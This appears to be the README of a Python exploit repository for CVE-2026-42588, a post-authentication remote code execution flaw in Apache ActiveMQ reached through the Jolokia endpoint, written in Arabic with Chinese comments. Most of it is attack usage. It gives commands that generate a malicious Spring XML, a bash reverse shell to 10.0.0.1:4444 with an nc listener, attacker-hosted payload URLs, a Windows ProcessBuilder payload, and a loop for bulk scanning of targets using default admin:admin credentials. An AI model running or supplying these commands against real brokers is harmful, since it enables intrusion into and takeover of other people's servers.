
# استغلال RCE قائم على بايثون لـ CVE-2026-42588 يستهدف Apache ActiveMQ Jolokia. يتضمن وضع الفحص فقط، وتوليد XML خبيث، ودعمًا للقشرة العكسية، وOOB، والتحقق القائم على الملفات.
مستوى الخطورة: 🔴 مرتفع (CVSS 4.0: 8.1)
نوع الثغرة: CWE-94 — حقن كود
الإصدارات المتأثرة: Apache ActiveMQ < 5.19.7 / 6.0.0 ≤ version < 6.2.6
متطلب الاستغلال: يتطلب بيانات اعتماد مصادقة Web Console (الافتراضيةadmin:admin)
CVE-2026-42588 هي ثغرة تنفيذ كود عن بُعد (RCE) بعد المصادقة في Apache ActiveMQ.
يمكن للمهاجم، بشرط امتلاكه بيانات اعتماد مصادقة Web Console، استدعاء طريقة BrokerService.addNetworkConnector(String) عبر واجهة جسر Jolokia JMX-HTTP (/api/jolokia/)، وتمرير URI اكتشاف masterslave:// مُصمَّم بعناية، لتحميل ملف تكوين Spring XML عن بُعد باستخدام بروتوكول xbean:، وتنفيذ أوامر نظام تعسفية في نهاية المطاف داخل JVM الخاص بـ ActiveMQ Broker.
/api/jolokia/ (Jolokia JMX-HTTP Bridge)
│
▼
BrokerService.addNetworkConnector(String)
│
▼
masterslave://?brokerConfig=xbean:http://attacker/malicious.xml
│
▼
XBeanBrokerFactory → ResourceXmlApplicationContext
│
▼
Spring 预实例化所有单例 Bean → 触发 Runtime.exec() / ProcessBuilder
│
▼
🚨 远程代码执行 (RCE)
| المرحلة | الوصف |
|---|---|
| سطح الهجوم Jolokia | يعرّض Web Console الخاص بـ ActiveMQ /api/jolokia/ افتراضيًا، مما يسمح بتنفيذ عمليات exec على MBeans من نوع org.apache.activemq:* |
| الطريقة الخطرة | تستقبل BrokerService.addNetworkConnector(String) URI الاكتشاف وتقوم بتحليله |
| سلسلة تفعيل URI | معلمة brokerConfig في بروتوكول masterslave:// قابلة للتحكم، وتعمل مع مخطط xbean: على تفعيل تحميل سياق Spring |
| نقطة تفعيل RCE | يستخدم XBeanBrokerFactory ResourceXmlApplicationContext لتحميل XML عن بُعد، ويقوم Spring بإنشاء جميع Singleton Beans مسبقًا قبل التحقق من التكوين |
| نطاق الإصدار | الحالة |
|---|---|
| Apache ActiveMQ < 5.19.7 | ❌ متأثر |
| 6.0.0 ≤ Apache ActiveMQ < 6.2.6 | ❌ متأثر |
| Apache ActiveMQ ≥ 5.19.7 | ✅ تم الإصلاح |
| Apache ActiveMQ ≥ 6.2.6 | ✅ تم الإصلاح |
/api/jolokia/ (المنفذ الافتراضي 8161)admin:admin).
├── CVE-2026-42588_EXP.py # 漏洞利用脚本(核心)
├── malicious.xml # 恶意 Spring XML 模板
├── requirements.txt # Python 依赖
└── README.md # 本文件
| الملف | الغرض |
|---|---|
CVE-2026-42588_EXP.py | سكربت استغلال بلغة Python، يدعم وضع الفحص (--check-only) ووضع توليد XML (--gen-xml) |
malicious.xml | قالب تكوين Spring XML الخبيث، يتضمن طريقتين للاستغلال: Runtime.exec() و ProcessBuilder |
pip install -r requirements.txt
python CVE-2026-42588_EXP.py --gen-xml -c "touch /tmp/activemq_pwned" > malicious.xml
شغّل خدمة HTTP على الجهاز المهاجم:
python3 -m http.server 8080
# 使用默认凭据 admin/admin
python CVE-2026-42588_EXP.py \
-u http://192.168.1.100:8161 \
-x http://your-attacker-ip:8080/malicious.xml
# 使用自定义凭据
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-U myuser \
-P mypass \
-x http://your-attacker-ip:8080/malicious.xml
python CVE-2026-42588_EXP.py -u http://192.168.1.100:8161 --check-only
usage: CVE-2026-42588_EXP.py [-h] [-u URL] [-U USERNAME] [-P PASSWORD]
[-x XML_URL] [--check-only] [--gen-xml]
[-c COMMAND] [--timeout TIMEOUT] [--no-verify]
选项:
-u, --url 目标 ActiveMQ URL (如 http://192.168.1.100:8161)
-U, --username Web Console 用户名 (默认: admin)
-P, --password Web Console 密码 (默认: admin)
-x, --xml-url 恶意 Spring XML 文件的远程 URL
--check-only 仅检测 Jolokia 接口是否可访问
--gen-xml 生成恶意 XML 文件并输出到 stdout
-c, --command 要在目标上执行的命令 (默认: touch /tmp/activemq_pwned)
--timeout HTTP 请求超时秒数 (默认: 30)
--no-verify 禁用 SSL 证书验证
1. توليد XML الخبيث على الجهاز المهاجم:
python CVE-2026-42588_EXP.py --gen-xml \
-c "/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
> reverse_shell.xml
2. استضافة XML وتشغيل المستمع:
# 终端1:HTTP 服务
python3 -m http.server 8080
# 终端2:nc 监听
nc -lvnp 4444
3. تشغيل الثغرة:
python CVE-2026-42588_EXP.py \
-u http://target:8161 \
-x http://10.0.0.1:8080/reverse_shell.xml
1. توليد XML خبيث لإصدار Windows:
عدّل أمر ProcessBuilder في malicious.xml إلى:
<bean class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>whoami > C:\windows\temp\pwned.txt</value>
</list>
</constructor-arg>
</bean>
2. الاستضافة والتنفيذ:
python CVE-2026-42588_EXP.py \
-u http://windows-target:8161 \
-x http://attacker:8080/malicious_win.xml
# 批量检测
for ip in $(cat targets.txt); do
echo "=== Testing $ip ==="
python CVE-2026-42588_EXP.py -u "http://$ip:8161" --check-only --timeout 5
done